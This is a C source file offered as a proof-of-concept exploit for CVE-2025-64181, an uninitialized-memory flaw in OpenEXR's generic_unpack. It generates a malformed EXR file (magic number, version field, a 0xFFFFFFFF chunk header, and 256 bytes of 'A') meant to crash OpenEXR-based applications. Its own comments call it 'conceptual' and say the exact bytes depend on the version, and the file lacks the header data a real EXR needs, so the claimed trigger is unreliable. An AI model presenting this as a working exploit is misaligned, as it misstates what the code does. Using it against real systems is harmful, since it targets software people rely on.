#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// Minimal PoC for CVE-2025-64181: OpenEXR uninitialized memory in generic_unpack
// This is a conceptual proof-of-concept showing the vulnerability trigger
// Generate a malformed EXR file that triggers uninitialized memory usage
void generate_malformed_exr(const char* filename) {
FILE *fp = fopen(filename, "wb");
if (!fp) return;
// EXR magic number
unsigned char magic[4] = {0x76, 0x2f, 0x31, 0x01};
fwrite(magic, 1, 4, fp);
// Version field - crafted to trigger parse path with uninitialized data
unsigned char version[4] = {0x02, 0x00, 0x00, 0x00};
fwrite(version, 1, 4, fp);
// Add malformed chunk data that triggers generic_unpack
// The exact bytes depend on specific OpenEXR version
unsigned char chunk_header[8] = {0x00, 0x00, 0x00, 0x00,
0xFF, 0xFF, 0xFF, 0xFF};
fwrite(chunk_header, 1, 8, fp);
// Incomplete/compressed data to trigger uninitialized memory read
unsigned char payload[256];
memset(payload, 0x41, 256);
fwrite(payload, 1, 256, fp);
fclose(fp);
}
int main(int argc, char* argv[]) {
if (argc < 2) {
printf("Usage: %s <output_exr_file>\n", argv[0]);
return 1;
}
generate_malformed_exr(argv[1]);
printf("Malformed EXR file generated: %s\n", argv[1]);
return 0;
}
// To trigger: Compile and run, then open with exrcheck or any OpenEXR-using application
// Expected result: Program crash or Valgrind uninitialized memory warning